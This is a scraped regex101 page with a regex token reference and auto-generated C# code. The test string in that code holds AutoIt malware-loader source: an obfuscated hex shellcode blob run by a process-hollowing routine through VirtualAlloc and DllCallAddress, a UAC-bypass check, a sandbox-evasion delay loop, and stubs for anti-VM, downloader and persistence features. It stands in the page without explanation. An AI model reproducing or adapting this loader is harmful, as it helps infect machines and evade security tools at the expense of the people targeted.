Regular Expressions 101

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An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression
No Match

/
/
gm

Test String

Code Generator

Language

Generated Code

using System; using System.Text.RegularExpressions; public class Example { public static void Main() { string pattern = @"$[a-zA-Z0-9_]+"; string input = @"Execute(""Opt(""TrayIconHide"", 1)"") ;~ Call(""CustomAntiVM"") ;~ Call(""CustomAntiSandbox"") ;~ Call(""CustomDelay"") ;~ Call(""CustomStartup"") ;~ Call(""CustomDownloader"") ;~ Call(""CustomUACBypass"") Global $ProcessId Global $XWNFIUYHFDUH = Execute('%INJECTION%') Call(""Hollowing"",$XWNFIUYHFDUH, "", GetResources()) ;~ Call(""CustomMeltFile"") ;~ Call(""CustomPersistence"") Func Hollowing($wPath, $wArguments, $lpFile) Local $ojnkoeyrcwxlutoux = ""0x558BEC8B4D088BC180390074064080380075FA2BC15DC20400558BEC56578B7D0833F657E8D7FFFFFF8B"" Local $kxghsiqvahwxnq = $ojnkoeyrcwxlutoux & ""C885C974200FBE07C1E60403F08BC625000000F0740BC1E81833F081E6FFFFFF0F474975E05F8BC65E5D"" Local $sdqpidmqtyxkecrfsp = $kxghsiqvahwxnq & ""C20400558BEC51515356578B7D0833F68B473C8B44387803C78B50208B581C03D78B482403DF8B401803"" Local $wtzfkbwb = $sdqpidmqtyxkecrfsp & ""CF8955FC894DF889450885C074198B04B203C750E882FFFFFF3B450C74148B55FC463B750872E733C05F"" Local $xonwcuofeidefqludikidnevpgau = $wtzfkbwb & ""5E5B8BE55DC208008B45F80FB704708B048303C7EBE9558BEC81ECF003000053565733FF897DB8648B35"" Local $qntpthgycxwcvzxicnjfif = $xonwcuofeidefqludikidnevpgau & ""300000008B760C8B760C8B368B368B76188975B8897DC8648B35300000008B760C8B760C8B368B761889"" Local $bbrnxjj = $qntpthgycxwcvzxicnjfif & ""75C88D45B4C78558FFFFFF793A3C07898520FFFFFF8BF78D45E8C7855CFFFFFF794A8A0B898524FFFFFF"" Local $shvtuoronlyjnrglhmeqvsbwvl = $bbrnxjj & ""8D45B0898528FFFFFF8D45A489852CFFFFFF8D45C0898530FFFFFF8D4598898534FFFFFF8D45D4898538"" Local $llryfjxokqaibkgtpblwvnuqjat = $shvtuoronlyjnrglhmeqvsbwvl & ""FFFFFF8D45A889853CFFFFFF8D45A0898540FFFFFF8D4590898544FFFFFF8D4594898548FFFFFF8D45C4"" Local $tnzfzyidgxogpmyh = $llryfjxokqaibkgtpblwvnuqjat & ""89854CFFFFFF8D45AC898550FFFFFF8D45CCC78560FFFFFFEE38830CC78564FFFFFF5764E101C78568FF"" Local $qlzltjbdzlyqxqbpfpdakkbj = $tnzfzyidgxogpmyh & ""FFFF18E4CA08C7856CFFFFFFE3CAD803C78570FFFFFF99B04806C78574FFFFFF93BA9403C78578FFFFFF"" Local $shawavvjwgeejpajlvgozrfp = $qlzltjbdzlyqxqbpfpdakkbj & ""E4C7B904C7857CFFFFFFE487B804C74580A92DD701C7458405D13D0BC745884427230FC7458CE86F180D"" Local $wzbzixxgjpsmjfddpp = $shawavvjwgeejpajlvgozrfp & ""898554FFFFFF8B45C883FE02FFB4B558FFFFFF0F4F45B850E842FEFFFF8B8CB520FFFFFF890185C00F84"" Local $urmwfppupodnjbbkzbuvayjx = $wzbzixxgjpsmjfddpp & ""910300004683FE0E7CD28BDF6A108D45D84350895DFCFF55E86A448D85DCFEFFFF50FF55E868CC020000"" Local $utwnzgscykxocatlkoiicwgrlzg = $urmwfppupodnjbbkzbuvayjx & ""8D8510FCFFFF50FF55E88B4D10C78510FCFFFF070001008B713C03F10FB74614897DF8897DBC8945D039"" Local $bjtoviobltcuiva = $utwnzgscykxocatlkoiicwgrlzg & ""BEA0000000741139BEA40000007409F6461601750333FF4733D2897DF433C08955EC6639110F94C03D4D"" Local $ozemhyijlmqavynfcazqtevbgoz = $bjtoviobltcuiva & ""5A00000F840E03000033C039160F94C03D504500000F84FC02000033C0663956040F94C03D4C0100000F"" Local $hritzmbigny = $ozemhyijlmqavynfcazqtevbgoz & ""84E80200008D45D8508D85DCFEFFFF5052526A04525252FF750CFF7508FF55A485C00F84AD0200008D85"" Local $ritzicfhsdx = $hritzmbigny & ""10FCFFFF50FF75DCFF55A085C00F84980200006A006A048D45BC508B85B4FCFFFF83C00850FF75D8FF55"" Local $ozujehkdcgtyardsqotqhsd = $ritzicfhsdx & ""9485C00F84780200008B45BC3B4634750F50FF75D8FF55B085C00F85610200006A406800300000FF7650"" Local $irxtwsvzvwjd = $ozujehkdcgtyardsqotqhsd & ""6A00FF55988BD885DB0F84450200006A406800300000FF7650FF7634FF75D8FF55C08945F885C0753B85"" Local $izqhuxcksyjsifkptzmq = $irxtwsvzvwjd & ""FF0F84230200006A406800300000FF765033FFC745EC0100000057FF75D8FF55C08945F885C075146800"" Local $wvlrhnnkhhxcrnutzgzsehlki = $izqhuxcksyjsifkptzmq & ""8000005753FF55C48B5DFCE9F501000033FFFF7654FF751053FF55B433C0897DF0663B4606732C8B7DD0"" Local $elrig = $wvlrhnnkhhxcrnutzgzsehlki & ""83C72C03FEFF77FC8B07034510508B47F803C350FF55B48B4DF08D7F280FB7460641894DF03BC87CDC8B"" Local $fwjshmnzzhkr = $elrig & ""7B3C8B45F803FB837DEC008947340F848A000000837DF4000F84800000008B97A00000008365F40003D3"" Local $dlbgbukrqnzulokbidbwcbbbsy = $fwjshmnzzhkr & ""83BFA400000000766B8B420433C983E808894DF0A9FEFFFFFF76450FB7444A086685C0742B25FF0F0000"" Local $ghfzgrimeajcdqgrpswogsclqwf = $dlbgbukrqnzulokbidbwcbbbsy & ""03028945EC8BC88B46342904198B4DF08B47340FB74C4A0881E1FF0F0000030A0104198B4DF08B420441"" Local $npcjancoclqgimzkks = $ghfzgrimeajcdqgrpswogsclqwf & ""83E808894DF0D1E83BC872BB8B4DF4034A04035204894DF43B8FA4000000729533FF57FF765053FF75F8"" Local $galpkljedrneujjluxcqj = $npcjancoclqgimzkks & ""FF75D8FF55D485C00F84FEFEFFFF8D459C506A02FF7654FF75F8FF75D8FF55CC85C00F84E4FEFFFF33C0"" Local $oabegzlochissjwuxeqavj = $galpkljedrneujjluxcqj & ""897DF4663B4606736C8B7DD083C73C03FE8B07A900000020741985C079046A40EB172500000040F7D81B"" Local $kbxqhwwr = $oabegzlochissjwuxeqavj & ""C083E01083C010EB1585C079056A0458EB0CA9000000406A00580F95C0408D4D9C5150FF77E48B47E803"" Local $bitjszjlemxpbjembznrx = $kbxqhwwr & ""45F850FF75D8FF55CC85C074128B4DF483C7280FB7460641894DF43BC8729E33FF68008000005753FF55"" Local $slpnfpagpsoslgayirw = $bitjszjlemxpbjembznrx & ""C485C00F845BFEFFFF576A048D45F8508B85B4FCFFFF83C00850FF75D8FF55D485C00F843CFEFFFF8B46"" Local $klzedfibwlphj = $slpnfpagpsoslgayirw & ""280345F88985C0FCFFFF8D8510FCFFFF50FF75DCFF559085C00F841BFEFFFFFF75DCFF55AC85C00F840D"" Local $etixewnk = $klzedfibwlphj & ""FEFFFF8B45E0EB1D8B5DFC33FF837DD800740757FF75D8FF55A883FB050F8677FCFFFF33C05F5E5B8BE5"" Local $N1 = $etixewnk & ""5DC20C00"" Local $lpShellcode = DllCall(""kernel32"", ""ptr"", ""VirtualAlloc"", ""dword"", 0, ""dword"", BinaryLen($N1), ""dword"", 0x3000, ""dword"", 0x40)[0] Local $File_Struct = DllStructCreate(""byte lpfile["" & StringLen($lpFile) & ""]"") BitAND(DllStructSetData(DllStructCreate(""byte shellcode["" & BinaryLen($N1) & ""]"", $lpShellcode), ""shellcode"", $N1),DllStructSetData($File_Struct, ""lpfile"", $lpFile)) $ProcessId = DllCallAddress(""dword"", $lpShellcode + ""0xBE"", ""wstr"", $wPath, ""wstr"", $wArguments, ""ptr"", DllStructGetPtr($File_Struct))[0] EndFunc ;~ %OPT% Func CustomUACBypass() Local $ejifuhzuieh = Execute(BinaryToString(""0x497341646d696e2829"")) Local $QSZUIEHZ = ""WIN_10"" Local $ONUHBFE = ""WIN_7"" If Not $ejifuhzuieh Then Local $QSDJSI = @OSVersion If $QSDJSI == $QSZUIEHZ Then CustomWin10Elevation() ElseIf $QSDJSI == $ONUHBFE Then CustomWin7Elevation() EndIf EndIf EndFunc Func CDEL($SLTIME,$SLEOO) For $i = 0 To $SLEOO DllCall(""kernel32.dll"", ""none"", ""Sleep"", ""dword"", $SLTIME/ $SLEOO) $avar = 999 While $avar == 999 $avar = $avar + 1 * $avar - 1 ^ 405 + $avar * $avar $avar = 11200 WEnd Next EndFunc"; RegexOptions options = RegexOptions.Multiline; foreach (Match m in Regex.Matches(input, pattern, options)) { Console.WriteLine("'{0}' found at index {1}.", m.Value, m.Index); } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for C#, please visit: https://msdn.microsoft.com/en-us/library/system.text.regularexpressions.regex(v=vs.110).aspx